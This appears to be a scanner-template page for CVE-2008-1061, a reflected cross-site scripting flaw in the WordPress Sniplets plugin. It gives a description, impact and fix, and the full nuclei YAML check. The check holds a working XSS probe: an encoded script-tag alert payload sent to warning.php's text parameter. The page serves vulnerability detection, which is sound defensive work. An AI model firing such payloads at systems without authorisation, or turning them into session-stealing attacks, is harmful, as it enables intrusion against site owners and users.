WordPress Sniplets <=1.2.2 - Cross-Site Scripting

mediumseverity

4.3CVSS score

7.4%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

WordPress Sniplets 1.1.2 and 1.2.2 plugin contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the text parameter to warning.php, notice.php, and inset.php in view/sniplets/, and possibly modules/execute.php; via the url parameter to view/admin/submenu.php; and via the page parameter to view/admin/pager.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Update WordPress Sniplets plugin to the latest version available, which addresses the XSS vulnerability.

How to confirm it

Send: GET /wp-content/plugins/sniplets/readme.txt
Positive when: contains "Code Snippets"
Send: GET {{BaseURL}}/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2008-1061 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2008-1061

info:
  name: WordPress Sniplets <=1.2.2 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: |
    WordPress Sniplets 1.1.2 and 1.2.2 plugin contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the text parameter to warning.php, notice.php, and inset.php in view/sniplets/, and possibly modules/execute.php; via the url parameter to view/admin/submenu.php; and via the page parameter to view/admin/pager.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update WordPress Sniplets plugin to the latest version available, which addresses the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/5194
    - https://wpscan.com/vulnerability/d0278ebe-e6ae-4f7c-bcad-ba318573f881
    - https://nvd.nist.gov/vuln/detail/CVE-2008-1061
    - http://securityreason.com/securityalert/3706
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/40830
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2008-1061
    cwe-id: CWE-79
    epss-score: 0.074
    epss-percentile: 0.94481
    cpe: cpe:2.3:a:wordpress:sniplets_plugin:1.1.2:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: wordpress
    product: "sniplets_plugin"
  tags: cve2008,cve,xss,wp-plugin,wp,edb,wpscan,wordpress,sniplets,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/sniplets/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Code Snippets'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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